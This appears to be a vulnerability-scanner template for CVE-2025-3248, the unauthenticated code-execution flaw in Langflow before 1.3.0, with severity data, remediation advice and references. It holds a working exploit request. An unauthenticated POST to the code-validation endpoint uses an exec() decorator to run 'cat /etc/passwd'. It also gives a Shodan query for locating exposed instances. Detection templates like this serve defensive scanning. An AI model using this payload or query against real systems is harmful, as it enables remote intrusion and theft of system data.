id: CVE-2025-3248-insikt

info:
  name: CVE-2025-3248 Langflow missing authentication vulnerability
  author: ACHA, Insikt Group, Recorded Future
  severity: critical
  description: |
    Detects that Langflow versions before 1.3.0 are susceptible to a missing authentication vulnerability. This template sends a POST request to the "/api/v1/validate/code" endpoint with a payload that uses Python's "exec()" to run a command injection. It attempts to read "/etc/passwd" and checks for the string "root:.*:0:0:" in the response to confirm the presence of the root user entry.
  impact: |
    Exploiting the vulnerability can allow remote, unauthenticated attackers to send crafted HTTP requests and execute arbitrary code.
  remediation: |
    Upgrade to version 1.3.0 (see reference below). If upgrading is not possible, secure Langflow by restricting network access through a firewall while blocking public access to the "/api/v1/validate/code" endpoint.
  reference:
    - https://horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai
    - https://nvd.nist.gov/vuln/detail/CVE-2025-3248
    - https://github.com/langflow-ai/langflow/pull/6911
    - https://github.com/langflow-ai/langflow/releases/tag/1.3.0 # Patch
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-3248
    cwe-id:
      - CWE-306 # Missing Authentication for Critical Function
      - CWE-94 # Improper Control of Generation of Code ('Code Injection')
  metadata:
    verified: true
    max-request: 1
    date: 2025-05-13
    last-updated: 2025-05-13
    unique-rule-id: a8661a0f-853b-46ad-8c6a-f9a1ef60e9f6
    mitre-att&ck:
      - attack.t1190 # Exploit Public-Facing Application
      - attack.t1059.006 # Command and Scripting Interpreter: Python
    shodan-query: html:"Langflow"
    vendor: Langflow AI
    product: Langflow
  tags: cve2025,cve,auth,rce,kev

requests:
  - raw:
      - |
        POST /api/v1/validate/code HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"code": "@exec('raise Exception(__import__(\"subprocess\").check_output([\"cat\", \"/etc/passwd\"]))')\ndef foo():\n  pass"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
